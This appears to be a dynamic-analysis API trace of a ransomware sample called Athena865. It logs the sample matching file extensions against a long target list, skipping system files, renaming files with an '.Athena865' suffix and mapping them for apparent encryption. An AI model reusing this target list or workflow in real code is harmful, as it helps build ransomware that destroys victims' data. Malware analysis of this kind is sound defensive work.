[0052.097] lstrlenW (lpString="kexi") returned 4 [0052.097] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.097] lstrlenW (lpString="kexic") returned 5 [0052.097] lstrcmpiW (lpString1="_.lnk", lpString2="kexic") returned -1 [0052.097] lstrlenW (lpString="kexis") returned 5 [0052.097] lstrcmpiW (lpString1="_.lnk", lpString2="kexis") returned -1 [0052.097] lstrlenW (lpString="lgc") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.097] lstrlenW (lpString="lwx") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.097] lstrlenW (lpString="maf") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.097] lstrlenW (lpString="maq") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.097] lstrlenW (lpString="mar") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.098] lstrlenW (lpString="marshal") returned 7 [0052.098] lstrcmpiW (lpString1="Pn_.lnk", lpString2="marshal") returned 1 [0052.098] lstrlenW (lpString="mas") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.098] lstrlenW (lpString="mav") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.098] lstrlenW (lpString="maw") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.098] lstrlenW (lpString="mdbhtml") returned 7 [0052.098] lstrcmpiW (lpString1="Pn_.lnk", lpString2="mdbhtml") returned 1 [0052.098] lstrlenW (lpString="mdn") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.098] lstrlenW (lpString="mdt") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.098] lstrlenW (lpString="mfd") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.098] lstrlenW (lpString="mpd") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.098] lstrlenW (lpString="mrg") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.098] lstrlenW (lpString="mud") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.098] lstrlenW (lpString="mwb") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.098] lstrlenW (lpString="myd") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.098] lstrlenW (lpString="ndf") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.098] lstrlenW (lpString="nnt") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.098] lstrlenW (lpString="nrmlib") returned 6 [0052.098] lstrcmpiW (lpString1="n_.lnk", lpString2="nrmlib") returned -1 [0052.098] lstrlenW (lpString="ns2") returned 3 [0052.098] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.099] lstrlenW (lpString="ns3") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.099] lstrlenW (lpString="ns4") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.099] lstrlenW (lpString="nsf") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.099] lstrlenW (lpString="nv") returned 2 [0052.099] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.099] lstrlenW (lpString="nv2") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.099] lstrlenW (lpString="nwdb") returned 4 [0052.099] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.099] lstrlenW (lpString="nyf") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.099] lstrlenW (lpString="odb") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.099] lstrlenW (lpString="odb") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.099] lstrlenW (lpString="oqy") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.099] lstrlenW (lpString="ora") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.099] lstrlenW (lpString="orx") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.099] lstrlenW (lpString="owc") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.099] lstrlenW (lpString="p96") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.099] lstrlenW (lpString="p97") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.099] lstrlenW (lpString="pan") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.099] lstrlenW (lpString="pdb") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.099] lstrlenW (lpString="pdm") returned 3 [0052.099] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.100] lstrlenW (lpString="pnz") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.100] lstrlenW (lpString="qry") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.100] lstrlenW (lpString="qvd") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.100] lstrlenW (lpString="rbf") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.100] lstrlenW (lpString="rctd") returned 4 [0052.100] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.100] lstrlenW (lpString="rod") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.100] lstrlenW (lpString="rodx") returned 4 [0052.100] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.100] lstrlenW (lpString="rpd") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.100] lstrlenW (lpString="rsd") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.100] lstrlenW (lpString="sas7bdat") returned 8 [0052.100] lstrcmpiW (lpString1="WPn_.lnk", lpString2="sas7bdat") returned 1 [0052.100] lstrlenW (lpString="sbf") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.100] lstrlenW (lpString="scx") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.100] lstrlenW (lpString="sdb") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.100] lstrlenW (lpString="sdc") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.100] lstrlenW (lpString="sdf") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.100] lstrlenW (lpString="sis") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.100] lstrlenW (lpString="spq") returned 3 [0052.100] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.100] lstrlenW (lpString="te") returned 2 [0052.101] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.101] lstrlenW (lpString="teacher") returned 7 [0052.101] lstrcmpiW (lpString1="Pn_.lnk", lpString2="teacher") returned -1 [0052.101] lstrlenW (lpString="tmd") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.101] lstrlenW (lpString="tps") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.101] lstrlenW (lpString="trc") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.101] lstrlenW (lpString="trc") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.101] lstrlenW (lpString="trm") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.101] lstrlenW (lpString="udb") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.101] lstrlenW (lpString="udl") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.101] lstrlenW (lpString="usr") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.101] lstrlenW (lpString="v12") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.101] lstrlenW (lpString="vis") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.101] lstrlenW (lpString="vpd") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.101] lstrlenW (lpString="vvv") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.101] lstrlenW (lpString="wdb") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.101] lstrlenW (lpString="wmdb") returned 4 [0052.101] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.101] lstrlenW (lpString="wrk") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.101] lstrlenW (lpString="xdb") returned 3 [0052.101] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.101] lstrlenW (lpString="xld") returned 3 [0052.102] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.102] lstrlenW (lpString="xmlff") returned 5 [0052.102] lstrcmpiW (lpString1="_.lnk", lpString2="xmlff") returned -1 [0052.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5JH81rpePN6WPn_.lnk.Athena865") returned 83 [0052.102] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5JH81rpePN6WPn_.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5jh81rpepn6wpn_.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5JH81rpePN6WPn_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5jh81rpepn6wpn_.lnk.athena865"), dwFlags=0x1) returned 1 [0052.103] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5JH81rpePN6WPn_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5jh81rpepn6wpn_.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.103] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3779) returned 1 [0052.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.103] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.104] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.104] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.104] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11d0, lpName=0x0) returned 0x154 [0052.104] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11d0) returned 0x100000 [0052.105] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.105] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.105] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.108] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.108] CloseHandle (hObject=0x154) returned 1 [0052.109] CloseHandle (hObject=0x17c) returned 1 [0052.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.110] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeda37a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaeda37a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaeda37a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5zLI.ots.lnk", cAlternateFileName="5ZLIOT~1.LNK")) returned 1 [0052.110] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.110] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.110] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2=".") returned 1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="..") returned 1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="windows") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="bootmgr") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="temp") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="pagefile.sys") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="boot") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="ids.txt") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="ntuser.dat") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="perflogs") returned -1 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2="MSBuild") returned -1 [0052.111] lstrlenW (lpString="5zLI.ots.lnk") returned 12 [0052.111] lstrcpyW (in: lpString1=0x241e8b4, lpString2="5zLI.ots.lnk" | out: lpString1="5zLI.ots.lnk") returned="5zLI.ots.lnk" [0052.111] lstrlenW (lpString="5zLI.ots.lnk") returned 12 [0052.111] lstrlenW (lpString="Athena865") returned 9 [0052.111] lstrcmpiW (lpString1="I.ots.lnk", lpString2="Athena865") returned 1 [0052.111] lstrlenW (lpString=".dll") returned 4 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2=".dll") returned 1 [0052.111] lstrlenW (lpString=".lnk") returned 4 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2=".lnk") returned 1 [0052.111] lstrlenW (lpString=".ini") returned 4 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2=".ini") returned 1 [0052.111] lstrlenW (lpString=".sys") returned 4 [0052.111] lstrcmpiW (lpString1="5zLI.ots.lnk", lpString2=".sys") returned 1 [0052.111] lstrlenW (lpString="5zLI.ots.lnk") returned 12 [0052.111] lstrlenW (lpString="bak") returned 3 [0052.111] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.111] lstrlenW (lpString="ba_") returned 3 [0052.111] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.111] lstrlenW (lpString="dbb") returned 3 [0052.111] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.111] lstrlenW (lpString="vmdk") returned 4 [0052.111] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.111] lstrlenW (lpString="rar") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.112] lstrlenW (lpString="zip") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.112] lstrlenW (lpString="tgz") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.112] lstrlenW (lpString="vbox") returned 4 [0052.112] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.112] lstrlenW (lpString="vdi") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.112] lstrlenW (lpString="vhd") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.112] lstrlenW (lpString="vhdx") returned 4 [0052.112] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.112] lstrlenW (lpString="avhd") returned 4 [0052.112] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.112] lstrlenW (lpString="db") returned 2 [0052.112] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.112] lstrlenW (lpString="db2") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.112] lstrlenW (lpString="db3") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.112] lstrlenW (lpString="dbf") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.112] lstrlenW (lpString="mdf") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.112] lstrlenW (lpString="mdb") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.112] lstrlenW (lpString="sql") returned 3 [0052.112] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.112] lstrlenW (lpString="sqlite") returned 6 [0052.112] lstrcmpiW (lpString1="ts.lnk", lpString2="sqlite") returned 1 [0052.112] lstrlenW (lpString="sqlite3") returned 7 [0052.112] lstrcmpiW (lpString1="ots.lnk", lpString2="sqlite3") returned -1 [0052.112] lstrlenW (lpString="sqlitedb") returned 8 [0052.112] lstrcmpiW (lpString1=".ots.lnk", lpString2="sqlitedb") returned -1 [0052.113] lstrlenW (lpString="xml") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.113] lstrlenW (lpString="$er") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.113] lstrlenW (lpString="4dd") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.113] lstrlenW (lpString="4dl") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.113] lstrlenW (lpString="^^^") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.113] lstrlenW (lpString="abs") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.113] lstrlenW (lpString="abx") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.113] lstrlenW (lpString="accdb") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accdb") returned 1 [0052.113] lstrlenW (lpString="accdc") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accdc") returned 1 [0052.113] lstrlenW (lpString="accde") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accde") returned 1 [0052.113] lstrlenW (lpString="accdr") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accdr") returned 1 [0052.113] lstrlenW (lpString="accdt") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accdt") returned 1 [0052.113] lstrlenW (lpString="accdw") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accdw") returned 1 [0052.113] lstrlenW (lpString="accft") returned 5 [0052.113] lstrcmpiW (lpString1="s.lnk", lpString2="accft") returned 1 [0052.113] lstrlenW (lpString="adb") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.113] lstrlenW (lpString="adb") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.113] lstrlenW (lpString="ade") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.113] lstrlenW (lpString="adf") returned 3 [0052.113] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.114] lstrlenW (lpString="adn") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.114] lstrlenW (lpString="adp") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.114] lstrlenW (lpString="alf") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.114] lstrlenW (lpString="ask") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.114] lstrlenW (lpString="btr") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.114] lstrlenW (lpString="cat") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.114] lstrlenW (lpString="cdb") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.114] lstrlenW (lpString="ckp") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.114] lstrlenW (lpString="cma") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.114] lstrlenW (lpString="cpd") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.114] lstrlenW (lpString="dacpac") returned 6 [0052.114] lstrcmpiW (lpString1="ts.lnk", lpString2="dacpac") returned 1 [0052.114] lstrlenW (lpString="dad") returned 3 [0052.114] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.114] lstrlenW (lpString="dadiagrams") returned 10 [0052.114] lstrcmpiW (lpString1="LI.ots.lnk", lpString2="dadiagrams") returned 1 [0052.114] lstrlenW (lpString="daschema") returned 8 [0052.114] lstrcmpiW (lpString1=".ots.lnk", lpString2="daschema") returned -1 [0052.114] lstrlenW (lpString="db-journal") returned 10 [0052.114] lstrcmpiW (lpString1="LI.ots.lnk", lpString2="db-journal") returned 1 [0052.114] lstrlenW (lpString="db-shm") returned 6 [0052.114] lstrcmpiW (lpString1="ts.lnk", lpString2="db-shm") returned 1 [0052.114] lstrlenW (lpString="db-wal") returned 6 [0052.114] lstrcmpiW (lpString1="ts.lnk", lpString2="db-wal") returned 1 [0052.114] lstrlenW (lpString="dbc") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.115] lstrlenW (lpString="dbs") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.115] lstrlenW (lpString="dbt") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.115] lstrlenW (lpString="dbv") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.115] lstrlenW (lpString="dbx") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.115] lstrlenW (lpString="dcb") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.115] lstrlenW (lpString="dct") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.115] lstrlenW (lpString="dcx") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.115] lstrlenW (lpString="ddl") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.115] lstrlenW (lpString="dlis") returned 4 [0052.115] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.115] lstrlenW (lpString="dp1") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.115] lstrlenW (lpString="dqy") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.115] lstrlenW (lpString="dsk") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.115] lstrlenW (lpString="dsn") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.115] lstrlenW (lpString="dtsx") returned 4 [0052.115] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.115] lstrlenW (lpString="dxl") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.115] lstrlenW (lpString="eco") returned 3 [0052.115] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.115] lstrlenW (lpString="ecx") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.116] lstrlenW (lpString="edb") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.116] lstrlenW (lpString="epim") returned 4 [0052.116] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.116] lstrlenW (lpString="fcd") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.116] lstrlenW (lpString="fdb") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.116] lstrlenW (lpString="fic") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.116] lstrlenW (lpString="flexolibrary") returned 12 [0052.116] lstrlenW (lpString="fm5") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.116] lstrlenW (lpString="fmp") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.116] lstrlenW (lpString="fmp12") returned 5 [0052.116] lstrcmpiW (lpString1="s.lnk", lpString2="fmp12") returned 1 [0052.116] lstrlenW (lpString="fmpsl") returned 5 [0052.116] lstrcmpiW (lpString1="s.lnk", lpString2="fmpsl") returned 1 [0052.116] lstrlenW (lpString="fol") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.116] lstrlenW (lpString="fp3") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.116] lstrlenW (lpString="fp4") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.116] lstrlenW (lpString="fp5") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.116] lstrlenW (lpString="fp7") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.116] lstrlenW (lpString="fpt") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.116] lstrlenW (lpString="frm") returned 3 [0052.116] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.116] lstrlenW (lpString="gdb") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.117] lstrlenW (lpString="gdb") returned 3 [0052.117] 